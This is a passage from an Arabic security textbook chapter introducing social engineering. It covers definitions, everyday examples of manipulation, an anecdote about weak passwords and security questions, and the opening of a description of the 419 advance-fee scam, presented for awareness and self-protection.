‫‪ 9.1‬اﻟﻤﻔﺎھﯿﻢ اﻷﺳﺎﺳﯿﺔ ﺣﻮل اﻟﮭﻨﺪﺳﺔ اﻻﺟﺘﻤﺎﻋﯿﺔ )‪(SE‬‬

‫ﻣﺎ ھﻲ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ؟‬

‫ﺳﺄﻟت ﻣرة ھذا اﻟﺳؤال ﻋﻠﻰ ﻣﺟﻣوﻋﺔ ﻣن اﻟﻣﺗﺣﻣﺳﯾن ﻟﻸﻣن وﺻدﻣت ﻣن اﻹﺟﺎﺑﺎت ﺣﯾث ﻛﺎﻧت ﻛﺎﻻﺗﻰ‪:‬‬
‫‪ -‬اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ھﻲ اﻟﻛذب ﻋﻠﻰ اﻟﻧﺎس ﻟﻠﺣﺻول ﻋﻠﻰ اﻟﻣﻌﻠوﻣﺎت‪.‬‬
‫‪ -‬اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ھو أن ﯾﺻﺑﺢ ﻣﻣﺛل ﺟﯾد‪.‬‬
‫‪ -‬اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ھو ﻣﻌرﻓﺔ ﻛﯾﻔﯾﺔ اﻟﺣﺻول ﻋﻠﻰ اﻻﺷﯾﺎء ﻣﺟﺎﻧﺎ‪.‬‬

‫وﯾﻛﯾﺑﯾدﯾﺎ ﺗﻌرﻓﮭﺎ ﺑﺄﻧﮭﺎ "ﻓن اﺧﺗراق اﻟﻌﻘول وھﻲ ﻋﺑﺎرة ﻋن ﻣﺟﻣوﻋﺔ ﻣن اﻟﺗﻘﻧﯾﺎت اﻟﻣﺳﺗﺧدﻣﺔ ﻟﺟﻌل اﻟﻧﺎس ﯾﻘوﻣون ﺑﻌﻣل ﻣﺎ أو ﯾﻔﺿون‬
‫ﺑﻣﻌﻠوﻣﺎت ﺳرﯾﺔ"‪ .‬ﻓﺈن اﻟﻣﺻطﻠﺢ ﯾﻧطﺑﻖ ﻋﺎدة ﻋﻠﻰ اﻟﺧداع أو اﻟﺗﺿﻠﯾل ﻟﻐرض ﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت‪ ،‬اﻻﺣﺗﯾﺎل‪ ،‬أو اﻟوﺻول إﻟﻰ ﻧظﺎم اﻟﻛﻣﺑﯾوﺗر؛‬
‫ﻓﻲ ﺑﻌض اﻟﺣﺎﻻت اﻟﻣﮭﺎﺟم ﻻ ﯾﺄﺗﻲ أﺑدا وﺟﮭﺎ ﻟوﺟﮫ ﻣﻊ اﻟﺿﺣﯾﺔ"‪.‬‬
‫ﻗﺎﻣوس وﺑﺳﺗر ﯾﻌرف اﻻﺟﺗﻣﺎﻋﯾﺔ ﺑﺎﻋﺗﺑﺎرھﺎ "اﻷﻣور اﻟﻣﺗﻌﻠﻘﺔ ﺑﺎﻟﺣﯾﺎة‪ ،‬اﻟرﻓﺎھﯾﺔ‪ ،‬وﻋﻼﻗﺎت اﻟﺑﺷر ﻓﻲ اﻟﻣﺟﺗﻣﻊ"‪ .‬وﯾﻌرف أﯾﺿﺎ اﻟﮭﻧدﺳﺔ ﺑﺄﻧﮭﺎ‬
‫"ﻓن أو ﻋﻠم ﺻﻧﺎﻋﺔ اﻟﺗطﺑﯾﻖ اﻟﻌﻣﻠﻲ ﻣن ﻣﻌرﻓﺔ اﻟﻌﻠوم اﻟﺑﺣﺗﺔ‪ ،‬ﻛﻣﺎ ﻓﻲ اﻟﻔﯾزﯾﺎء أو اﻟﻛﯾﻣﯾﺎء‪ ،‬ﻛﻣﺎ ھو اﻟﺣﺎل ﻓﻲ ﺑﻧﺎء ﻣﺣرﻛﺎت واﻟﺟﺳور واﻟﻣﺑﺎﻧﻲ‬
‫واﻟﻣﻧﺎﺟم‪ ،‬واﻟﺳﻔن‪ ،‬واﻟﻣﺻﺎﻧﻊ اﻟﻛﯾﻣﺎوﯾﺔ أو اﻻﺧﺗراع أو ﻣﺎھرا داھﯾﺔ؛ ﻣﻧﺎورة‪".‬‬
‫اﻟﺟﻣﻊ ﺑﯾن ﺗﻠك اﻟﺗﻌرﯾﻔﯾن ﯾﻣﻛﻧك ﺑﺳﮭوﻟﺔ ﻣﻌرﻓﺔ أن اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ھﻲ ﻓن أو اﻷﻓﺿل ﻣن ذﻟك‪ ،‬ھو ﻋﻠم‪ ،‬ﻣﮭﺎرة اﻟﺗﻼﻋب ﺑﺎﻟﺑﺷر ﻓﻲ‬
‫اﺗﺧﺎذ إﺟراءات ﻓﻲ ﺑﻌض ﺟواﻧب ﺣﯾﺎﺗﮭم‪.‬‬
‫ھذا اﻟﺗﻌرﯾف ﯾوﺳﻊ آﻓﺎق اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻓﻲ ﻛل ﻣﻛﺎن‪ .‬ﯾﺗم اﺳﺗﺧدام اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻓﻲ اﻟﺣﯾﺎة اﻟﯾوﻣﯾﺔ ﻓﻲ اﻟطرﯾﻘﺔ اﻟﺗﻲ ﯾﺟﻌل اﻷطﻔﺎل‬
‫أﺑﺎءھم ﯾﺳﺗﺳﻠﻣون ﻟﻣطﺎﻟﺑﮭم‪ .‬ﯾﺗم اﺳﺗﺧداﻣﮫ ﻓﻲ طرﯾﻘﺔ اﻟﻣﻌﻠﻣﯾن ﻟﻠﺗﻔﺎﻋل ﻣﻊ طﻼﺑﮭم‪ ،‬ﻓﻲ طرﯾﻖ اﻷطﺑﺎء‪ ،‬واﻟﻣﺣﺎﻣﯾن‪ ،‬وﻋﻠﻣﺎء اﻟﻧﻔس أو اﻟﺣﺻول‬
‫ﻋﻠﻰ ﻣﻌﻠوﻣﺎت ﻣن ﻣرﺿﺎھم أو اﻟﻌﻣﻼء‪ .‬ﯾﺗم اﺳﺗﺧداﻣﮫ ﺑﺎﻟﺗﺄﻛﯾد ﻓﻲ ﻣﺟﺎل ﻣﻧﻔذي اﻟﻘﺎﻧون‪ ،‬إﻧﮫ ﯾﺳﺗﺧدم ﺣﻘﺎ ﻓﻲ ﻛل ﻣﺟﺎﻻت اﻟﺗﻔﺎﻋل اﻟﺑﺷري ﺑداﯾﺔ‬
‫ﻣن اﻷطﻔﺎل ﺣﺗﻰ اﻟﺳﯾﺎﺳﯾﯾن وﻣﺎ ﺑﯾﻧﮭﻣﺎ‪.‬‬
‫أود أن أﻏﺗﻧم ھذا اﻟﺗﻌرﯾف ﺧطوة أﺑﻌد ﻣن ذﻟك وﻧﻘول إن اﻟﺗﻌرﯾف اﻟﺻﺣﯾﺢ ﻟﻠﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ھو ﻋﻣل ﻣن أﻋﻣﺎل اﻟﺗﻼﻋب ﺑﺎﻟﺷﺧص‬
‫ﻻﺗﺧﺎذ إﺟراء ﻗد ﯾﻛون أو ﻻ ﯾﻛون ﻓﻲ ﻣﺻﻠﺣﺔ "اﻟﮭدف"‪ .‬وﯾﻣﻛن أن ﯾﺷﻣل ھذا اﻟﺣﺻول ﻋﻠﻰ اﻟﻣﻌﻠوﻣﺎت‪ ،‬ﺣﻖ اﻟوﺻول‪ ،‬أو اﻟﺣﺻول ﻋﻠﻰ‬
‫اﻟﮭدف ﻻﺗﺧﺎذ إﺟراءات ﻣﻌﯾﻧﺔ‪.‬‬
‫ﺑﻌض اﻟﺗﻌرﯾﻔﺎت اﻷﺧرى‪:‬‬
‫ﻋﻠﻰ ﺣﺳب ﻗﺎﻣوس أﻛﺳﻔورد ﺗم ﺗﻌرﯾف اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻋﻠﻰ أﻧﮫ ﺗطﺑﯾﻖ ﻣﺑﺎدئ اﻟﺳﯾﺳﯾوﻟوﺟﯾﺎ ﻟﻣﺷﺎﻛل اﺟﺗﻣﺎﻋﯾﺔ ﻣﺣددة‪ .‬وﻟﻛن‬
‫ھذا اﻟﺗﻌرﯾف ﺑﻌﯾد ﻋن اﻟﺣﯾﺎة اﻟواﻗﻌﯾﺔ‪ .‬ﻟذﻟك ﺗم ﺗﻌرﯾﻔﮫ ﻋﻠﻰ اﻧﮫ ﻓن اﻟﺗﻼﻋب ﺑﺎﻟﺳﻠوك ﻋﻣدا ﺑﺎﺳﺗﺧدام ﺗﻘﻧﯾﺎت اﺗﺻﺎل وﺿﻌت ﺧﺻﯾﺻﺎ‪.‬‬
‫ﻣﻌﮭد ‪ SAN‬ﻗﺎﻣت ﺑوﺿﻊ ﺗﻔﺳﯾر ﺑدﯾل اﺧر وھو أن اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ھو 'ﻓن' اﻻﺳﺗﻔﺎدة ﻣن اﻟﺳﻠوك اﻟﺑﺷري دون اﻹﺧﻼل ﺑﺄﻣن اﻟﻣﺷﺎرك‬
‫)أو اﻟﺿﺣﯾﺔ( ﺣﺗﻰ ﻻ ﯾدرﻛوا أﻧﮫ ﻗد ﺗم اﻟﺗﻼﻋب ﺑﮭم‪.‬‬
‫اﻟﺟزء اﻟﻣﮭم ﻣن ھذا اﻟﺗﻌرﯾف ھو اﻟﺳﯾﺎق اﻟذي ﯾﺗم ﺗطﺑﯾﻖ ھذا اﻟﻣﻔﮭوم‪ .‬ﺣﯾث ﯾﻣﻛن ﺗﻌرﯾف اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻋﻠﻰ أﻧﮫ اﻟﺗﻘﻧﯾﺎت اﻟﻣﺳﺗﺧدﻣﺔ‬
‫ﻻﻧﺗزاع اﻟﻣﻌﻠوﻣﺎت أو اﻟﺗﻼﻋب ﺑﺎﻟﺳﻠوك وﻟﻛن ﺑﺎﻟﻧﺳﺑﺔ ﻟﺳﯾﺎق أﻣن اﻟﻣﻌﻠوﻣﺎت‪ .‬ﻋﻧدﻣﺎ ﯾﺗﻌﻠﻖ اﻷﻣر ﺑﺗﺄﻣﯾن اﻟﻣﻌﻠوﻣﺎت اﻟﺣﺳﺎﺳﺔ ﻓﯾﺻﺑﺢ‪:‬‬
‫اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻓن اﺳﺗﺧﻼص ﻣﻌﻠوﻣﺎت ﺣﺳﺎﺳﺔ و‪/‬أو اﻟﺗﻼﻋب ﺑﺎﻷﻓراد ﻓﻲ أداء اﻷﻋﻣﺎل اﻟﺗﻲ ﻗد ﺗؤدي إﻟﻰ ﺧرق أﻣﻧﻲ‪.‬‬

‫ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬اﻷطﺑﺎء وﻋﻠﻣﺎء اﻟﻧﻔس واﻟﻣﻌﺎﻟﺟﯾن ﻏﺎﻟﺑﺎ ﻣﺎ ﯾﺳﺗﺧدﻣوا اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻟﻠﺗﻼﻋب ﺑﻣرﺿﺎھم ﻻﺗﺧﺎذ اﻹﺟراءات اﻟﺗﻲ ھﻲ‬
‫ﺟﯾدة ﺑﺎﻟﻧﺳﺑﺔ ﻟﮭم‪ ،‬ﺑﯾﻧﻣﺎ ﯾﺳﺗﺧدم اﻟرﺟل اﻟﻣﺧﺎدع اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻹﻗﻧﺎع ھدﻓﮫ ﻻﺗﺧﺎذ اﻹﺟراءات اﻟﺗﻲ ﺗﻛون ﺧﺳﺎرة ﺑﺎﻟﻧﺳﺑﺔ ﻟﮭم‪ .‬أﺧﺻﺎﺋﻲ‬
‫ﻧﻔﺳﻲ ﻗد ﯾﺳﺗﺧدم ﺳﻠﺳﻠﺔ ﻣن اﻷﺳﺋﻠﺔ اﻟﻣدروﺳﺔ ﻟﻣﺳﺎﻋدة اﻟﻣرﯾض ﻟﻠﺗوﺻل إﻟﻰ اﺳﺗﻧﺗﺎج أن ھﻧﺎك ﺣﺎﺟﺔ إﻟﻰ اﻟﺗﻐﯾﯾر‪ .‬وﺑﺎﻟﻣﺛل‪ ،‬ﻓﺈن اﻟرﺟل‬
‫اﻟﻣﺧﺎدع ﯾﺳﺗﺧدم اﻷﺳﺋﻠﺔ اﻟﺗﻲ وﺿﻌت ﺑﺷﻛل ﺟﯾد ﻟﺗﺣرﯾك ھدﻓﮫ ﻓﻲ ﻣوﻗف ﺿﻌﯾف‪ .‬ﻛل ﻣن ھذه اﻷﻣﺛﻠﺔ ھﻲ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻓﻲ أﺻدق‬
‫ﺻورھﺎ‪ ،‬وﻟﻛن ﻟدﯾﮭم أھداف وﻧﺗﺎﺋﺞ ﻣﺧﺗﻠﻔﺔ ﺟدا‪ .‬اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻟﯾﺳت ﻣﺟرد ﺧداع اﻟﻧﺎس أو اﻟﻛذب أو اﻟﺗﺻرف ﺟزءا ﻣﻧﮭﺎ‪.‬‬
‫اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻟﯾﺳت ﻣﺟرد ﻋﻣل واﺣد وﻟﻛﻧﮭﺎ ﻣﺟﻣوﻋﺔ ﻣن اﻟﻣﮭﺎرات اﻟﻣذﻛورة ﻓﻲ اﻹطﺎر ﻋﻧدﻣﺎ ﺗوﺿﻊ ﻣﻌﺎ ﯾﺷﻛﻠون اﻟﻌﻣل‪ ،‬واﻟﻣﮭﺎرة‪،‬‬
‫واﻟﻌﻠم‪ .‬ﻓﻲ ﻧﻔس اﻟطرﯾﻖ‪ ،‬ﻧﺟد أن اﻟوﺟﺑﺔ اﻟراﺋﻌﺔ ﻟﯾﺳت ﻋﺑﺎره ﻋن ﻋﻧﺻر واﺣد ﻓﻘط‪ ،‬وﻟﻛﻧﮭﺎ ﺗﺗﻛون ﻣن ﻋدة ﻋﻧﺎﺻر ﯾﺗم اﻟﺟﻣﻊ ﺑﯾﻧﮭم‪،‬‬
‫وﺧﻠطﮭم‪ ،‬وإﺿﺎﻓﺔ اﻟﻌدﯾد ﻣن اﻟﻣﻛوﻧﺎت‪ .‬ھذا ھو ﻛﯾف أﺗﺻور أن ﺗﻛون اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ ،‬اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻟﺟﯾد ھو ﻣﺛل اﻟطﺎه اﻟﺟﯾد‪.‬‬
‫ﺑطﺑﯾﻌﺔ اﻟﺣﺎل‪ ،‬ھذا اﻟﻛﺗﺎب ﯾﻧﺎﻗش ﺑﻌض ھذه اﻟﺟواﻧب‪ ،‬وﻟﻛن اﻟﺗرﻛﯾز اﻟرﺋﯾﺳﻲ ھو ﻣﺎ ﯾﻣﻛﻧك ان ﺗﺗﻌﻠﻣﮫ ﻟﺗﺣﺳﯾن ﻗدراﺗك ﻟﺗدﻗﯾﻖ وﻣن ﺛم ﺗﺄﻣﯾن‬
‫ﻧﻔﺳك‪ .‬ﺗﺣﻠﯾل ﻛﯾف ﯾﻣﻛن ﻟﻠطﻔل أن ﯾﺗﻼﻋب ﺑﺄﺣد اﻟواﻟدﯾن ﺑﮭذه اﻟﺳﮭوﻟﺔ ﻟﯾﻌطﻲ ﻓﻛرة ﻟﻠﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﺑﺎﻟطرﯾﻘﺔ اﻟﺗﻲ ﯾﻌﻣل ﺑﮭﺎ اﻟﻌﻘل‬
‫اﻟﺑﺷري‪ .‬ﯾﻼﺣظ ﻛﯾف ﯾﻣﻛن ﻟطﺑﯾب ﻧﻔﺳﺎﻧﻲ اﺳﺗﺧدام اﻷﺳﺋﻠﺔ واﻟﺗﻲ ﺗﺳﺎﻋده ﻓﻲ ﻣﻌرﻓﺔ ﻣﺎ ﯾﺣﺗوﯾﮫ اﻟﻧﺎس ﺑﺳﮭوﻟﺔ‪ .‬ﯾﻼﺣظ ﻛﯾف ﯾﻧﻔذ وﻛﯾل اﻟﻘﺎﻧون‬
‫اﺳﺗﺟواب ﻧﺎﺟﺢ ﻟﯾﻌطﻲ طرﯾﻘﺎ واﺿﺣﺎ ﻓﻲ ﻛﯾﻔﯾﺔ اﻟﺣﺻول ﻋﻠﻰ اﻟﻣﻌﻠوﻣﺎت ﻣن اﻟﮭدف‪ .‬ﯾﻣﻛن رؤﯾﺔ ﻛﯾف ﯾﻣﻛن ﻟﻠﺣﻛوﻣﺎت واﻟﺳﯾﺎﺳﯾﯾن ﻹظﮭﺎر‬
‫أﻛﺑر ﻗدر ﻣن اﻟﺗﺄﺛﯾر ﻣﺎ ﯾﺻﻠﺢ وﻣﺎ ﻻ ﯾﺻﻠﺢ‪ .‬ﺑواﺳطﺔ اﻟﺑﺣوث وﻋﻣل ﺑﻌض ﻣن اﻟﻌﻘول اﻟراﺋدة ﻓﻲ ‪ micro expressions‬واﻹﻗﻧﺎع ﯾﻣﻛﻧك‬
‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬
 ‫‪787‬‬

‫ان ﺗرى ﻛﯾﻔﯾﺔ اﺳﺗﺧدام ھذه اﻟﺗﻘﻧﯾﺎت ﻓﻲ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ .‬ﻣن ﺧﻼل اﺳﺗﻌراض ﺑﻌض اﻟﻣﺣﻔزات ﻟﺑﻌض ﻣن أﻋظم ﻣﻧدوﺑﻲ اﻟﻣﺑﯾﻌﺎت‬
‫وﺧﺑراء اﻹﻗﻧﺎع ﻓﻲ اﻟﻌﺎﻟم ﯾﻣﻛﻧك أن ﺗﺗﻌﻠم ﻛﯾﻔﯾﺔ ﺑﻧﺎء ﻋﻼﻗﺔ‪ ،‬ﺗﺿﻊ ﻓﯾﮭﺎ اﻟﻧﺎس ﺑﺳﮭوﻟﺔ‪ ،‬وإﻏﻼق اﻟﺻﻔﻘﺎت‪ .‬ﺛم ﻣن ﺧﻼل اﻟﺑﺣث وﺗﺣﻠﯾل اﻟﺟﺎﻧب‬
‫اﻵﺧر ﻣن ھذه اﻟﻌﻣﻠﺔ‪ ،‬اﻟرﺟﺎل اﻟﻣﺧﺎدﻋﯾن واﻟﻔﻧﺎﻧﯾن اﻟﻣﺣﺗﺎﻟﯾن‪ ،‬واﻟﻠﺻوص‪ ،‬ﯾﻣﻛﻧك أن ﺗﺗﻌﻠم ﻛﯾف ﯾﻣﻛﻧﮭم اﺳﺗﺧدام ھذه اﻟﻣﮭﺎرات ﻣﻌﺎ ﻟﻠﺗﺄﺛﯾر‬
‫ﻋﻠﻰ اﻟﻧﺎس وﻧﻘل اﻟﻧﺎس ﻓﻲ اﺗﺟﺎھﺎت ﯾﻌﺗﻘدون أﻧﮭم ﻟن ﯾذھب اﻟﯾﮭﺎ أﺑدا‪.‬‬
‫ھؤﻻء اﻟﻣﮭﻧدﺳﯾن اﻻﺟﺗﻣﺎﻋﯾن وﻏﯾرھم اﻟﻛﺛﯾر ﯾﺑدو أن ﻟدﯾﮭم ﻣوھﺑﺔ طﺑﯾﻌﯾﺔ أو ﻋدم اﻟﺧوف واﻟﺗﻲ ﺗﻣﻛﻧﮭم ﻣن ﻣﺣﺎوﻟﺔ أﺷﯾﺎء ﻣﻌظﻣﻧﺎ ﻟن ﯾﻧظر‬
‫اﻟﻰ ﻣﺣﺎوﻟﺗﮭﺎ‪ .‬ﻟﻸﺳف ﻓﻲ ﻋﺎﻟم اﻟﯾوم‪ ،‬اﻟﻣﺗﺳﻠل اﻟﺧﺑﯾث ﺗﺗﺣﺳن ﻣﮭﺎراﺗﮫ ﺑﺎﺳﺗﻣرار ﻓﻲ ﻣﻌﺎﻟﺟﺔ اﻟﻧﺎس وھﺟﻣﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﺿﺎرة‬
‫ﺗﺗزاﯾد‪ .‬ﻛﺎن ﻣن اﻟﻣﻣﻛن ﺗﺟﻧب اﻟﻌدﯾد ﻣن ھذه اﻟﮭﺟﻣﺎت إذا ﺗم ﺗﻌﻠﯾم اﻟﻧﺎس‪ ،‬ﻷﻧﮫ ﯾﻣﻛن أن ﯾﺗﺻرف ﻋﻠﻰ أﺳﺎس ھذا اﻟﺗﻌﻠﯾم‪.‬‬

‫ﻛﻣﺛﺎل ﻋﻠﻰ ﻧطﺎق أﺻﻐر ﺑﻛﺛﯾر‪ ،‬ﻛﻧت أﻧﺎﻗش ﻣؤﺧرا ﻣﻊ ﺻدﯾﻘﺔ ﻣﻘرﺑﮫ ﻓﻲ اﻟﺣﺳﺎﺑﺎت اﻟﻣﺎﻟﯾﺔ وﻛﯾف إﻧﮭﺎ ﻗﻠﻘﮫ ﻣن أن ﯾﺗم ﺗﮭﻛﯾرھﺎ او ﺧدﻋﮭﺎ‪ .‬ﻓﻲ‬
‫ﺳﯾﺎق اﻟﻣﺣﺎدﺛﺔ ﺑدأﻧﺎ اﻟﻣﻧﺎﻗﺷﺔ ﻛم ھو ﺳﮭل "ﺗﺧﻣﯾن" ﻛﻠﻣﺎت اﻟﺳر اﻟﺧﺎﺻﺔ ﺑﺎﻷﺷﺧﺎص‪ .‬ﻗﻠت إن اﻟﻛﺛﯾر ﻣن اﻟﻧﺎس ﯾﺳﺗﺧدﻣون ﻧﻔس ﻛﻠﻣﺔ اﻟﺳر‬
‫ﻟﻛل ﺣﺳﺎب؛ رأﯾت وﺟﮭﮭﺎ ﯾﺑﯾض ﺣﯾث إﻧﮭﺎ أدرﻛت ان ھذا اﻟﺣدﯾث ﻣوﺟﮫ ﻟﮭﺎ‪ .‬ﻗﻠت ﻟﮭﺎ أن ﻣﻌظم اﻟﻧﺎس ﯾﺳﺗﺧدﻣون ﻛﻠﻣﺎت اﻟﺳر اﻟﺑﺳﯾطﺔ اﻟﺗﻲ‬
‫ﺗﺟﻣﻊ ﺑﯾن اﻷﺷﯾﺎء ﻣﺛل اﺳم أزواﺟﮭن‪ ،‬ﻋﯾد ﻣﯾﻼد‪ ،‬أو ﺗﺎرﯾﺦ اﻟذﻛرى اﻟﺳﻧوﯾﺔ‪ .‬رأﯾﺗﮭﺎ وﺟﮭﮭﺎ أﺻﺑﺢ ﺷﺎﺣﺑﺎ ﻣن أي وﻗت ﻣﺿﻰ‪ .‬ﺗﺎﺑﻌت ﺑﺎﻟﻘول إن‬
‫ﻣﻌظم اﻟﻧﺎس ﯾﺧﺗﺎرون أﺑﺳط "ﺳؤال اﻷﻣﺎن" ﻣﺛل “)أﻣك( اﻻﺳم ﻗﺑل اﻟزواج" وﻣدى ﺳﮭوﻟﺔ اﻟﻌﺛور ﻋﻠﻰ ﺗﻠك اﻟﻣﻌﻠوﻣﺎت ﻋن طرﯾﻖ ﺷﺑﻛﺔ‬
‫اﻹﻧﺗرﻧت أو ﺑﺿﻊ ﻣن ﻣﻛﺎﻟﻣﺎت اﻟﮭﺎﺗف اﻟوھﻣﯾﺔ‪.‬‬
‫ﻟﺗوﺿﯾﺢ ﻛﯾﻔﯾﺔ ﻗﯾﺎم اﻟﻧﺎس ﺑﺗﺳﻠﯾم اﻟﻣﻌﻠوﻣﺎت اﻟﺷﺧﺻﯾﺔ ﺑﺳﮭوﻟﮫ‪ ،‬ﺣﯾث أﻧﻧﻲ رأﯾت ﻣرة ﻓﻲ أﺣد اﻟﻣطﺎﻋم ﺗﻌرض ﻗﺳﯾﻣﮫ ﺗﺣﺗوي ﻋﻠﻰ ﺧﺻم ‪50‬‬
‫دوﻻرا ﻣﻘﺎﺑل دورة اﻟﻐوﻟف ﺟذاﺑﺔ ﻟﻠﻐﺎﯾﺔ‪ .‬ﻟﻼﺳﺗﻔﺎدة ﻣن ھذا اﻟﻌرض‪ ،‬ﻛﺎن ﻋﻠﯾك ﻓﻘط أن ﺗﻘدم اﺳﻣك وﺗﺎرﯾﺦ اﻟﻣﯾﻼد‪ ،‬وﻋﻧوان اﻟﺷﺎرع‪ ،‬وﺗوﻓﯾر‬
‫ﻛﻠﻣﺔ ﻣرور ﻟﺣﺳﺎب أﻧﮫ ﺳﯾﺗم إﻋداد وإرﺳﺎﻟﮭﺎ إﻟﻰ ﻋﻧوان اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ اﻟﺧﺎص ﺑك )ﻟﻘد ﻻﺣظت ﻓﻲ اﻟﻣﻘﺎم اﻷول أن أﺣدھم ﻗد ﺑدأ ﻣلء‬
‫اﻟﻘﺳﯾﻣﺔ وﺗرﻛﮭﺎ ﻋﻠﻰ اﻟطﺎوﻟﺔ(‪ .‬ﻛل ﯾوم ﯾﺗم ﺟﻣﻊ ﻣﺛل ھذه اﻟﻣﻌﻠوﻣﺎت اﻟﺣﺳﺎﺳﺔ‪.‬‬

‫اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ وﻣﻛﺎﻧﺗﮭﺎ ﻓﻲ اﻟﻣﺟﺗﻣﻊ‬

‫ﻛﻣﺎ ﻧوﻗش ﺑﺎﻟﻔﻌل اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﯾﻣﻛن اﺳﺗﺧداﻣﮭﺎ ﻓﻲ اﻟﻌدﯾد ﻣن ﻣﺟﺎﻻت اﻟﺣﯾﺎة‪ ،‬وﻟﻛن ﻟﯾس ﻛل ﻣن ھذه اﻻﺳﺗﺧداﻣﺎت ھﻲ ﺿﺎرة أو ﺳﯾﺋﺔ‪.‬‬
‫ﻣرات ﻋدﯾدة اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﯾﻣﻛن اﺳﺗﺧداﻣﮭﺎ ﻟﺗﺣﻔﯾز اﻟﺷﺧص ﻻﺗﺧﺎذ إﺟراء ﻣﺎ ھو ﺟﯾد ﺑﺎﻟﻧﺳﺑﺔ ﻟﮭم‪.‬‬

‫اﻷﻗﺳﺎم اﻟﺗﺎﻟﯾﺔ ﺗﻘدم ﺑﻌض اﻷﻣﺛﻠﺔ ﻋﻠﻰ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ ،‬واﻟﺣﯾل‪ ،‬واﻟﺗﻼﻋب‪ ،‬واﺳﺗﻌراض ﻛﯾﻔﯾﺔ ﻋﻣﻠﮭﺎ‬

‫‪The 419 Scam‬‬

‫‪ The 419-scam‬واﻟﻣﻌروﻓﺔ ﺑﺎﺳم اﻟﻐش اﻟﻧﯾﺟﯾري )‪ ، (Nigerian Scam‬واﻟﺗﻲ أﺻﺑﺣت وﺑﺎء‪ .‬ﯾﻣﻛﻧك اﻟﻌﺛور ﻋﻠﻰ ﻣﻘﺎل ﻋن ھذه‬
‫اﻟﻔﺿﯾﺣﺔ ﻓﻲ ‪.http://www.social-engineer.org/wiki/archives/ConMen/ConMen-Scam-NigerianFee.html‬‬
‫ﻓﻲ اﻷﺳﺎس ھﻲ ﻋﺑﺎره ﻋن ﺑرﯾد إﻟﻛﺗروﻧﻲ ﯾﺄﺗﻲ إﻟﻰ اﻟﮭدف ﯾﺧﺑره ﺑﺄﻧﮫ ﻗد ﺧص ﻟﺻﻔﻘﺔ ﻣرﺑﺣﺔ ﻟﻠﻐﺎﯾﺔ وﻛل ﻣﺎ ﯾﺣﺗﺎﺟﮫ ﻟﻠﻘﯾﺎم ﺑﮭذه اﻟﺻﻔﻘﺔ ھو‬
‫ﺗﻘدﯾم اﻟﻘﻠﯾل ﻣن اﻟﻣﺳﺎﻋدة‪ .‬ﻓﺈذا ﻗرر اﻟﺿﺣﯾﺔ ﻣﺳﺎﻋدة اﻟﻣرﺳل‪ ،‬ﻓﺎن اﻟﻣرﺳل ﯾرﺳل ﻟﮫ رﺳﺎﻟﺔ ﺑﺎﻧﮫ ﺳوف ﯾﺳﺗﺧرج ﻣﺑﻠﻎ ﻛﺑﯾر ﻣن اﻟﻣﺎل ﻣن‬
‫اﻟﺑﻧوك اﻷﺟﻧﺑﯾﺔ اﻟﺗﻲ ﯾﻣﻠك ﺑﮭﺎ ﻧﺳﺑﮫ‪ .‬ﻓﯾﺻﺑﺢ اﻟﮭدف واﺛﻖ وﯾواﻓﻖ ﻋﻠﻰ ھذا‪ ،‬ھﻧﺎ ﯾظﮭر اﻟﻣرﺳل ﻣﺷﻛﻠﺔ وھﻲ أﻧﮫ ﯾﺣﺗﺎج ﻟدﻓﻊ رﺳوم‪ .‬ﺑﻌد أن ﯾﺗم‬
‫دﻓﻊ رﺳوم ﯾظﮭر ﻣﺷﻛﻠﺔ أﺧرى ﺗﺣﺗﺎج رﺳوم أﺧرى وھﻛذا‪ .‬وھذا ﯾﻣﻛن أن ﺗﻣﺗد ﻋﻠﻰ ﻣدى ﻋدة أﺷﮭر‪ .‬اﻟﺿﺣﯾﺔ ﻻ ﯾرى أي أﻣوال وﯾﺧﺳر ﻣن‬
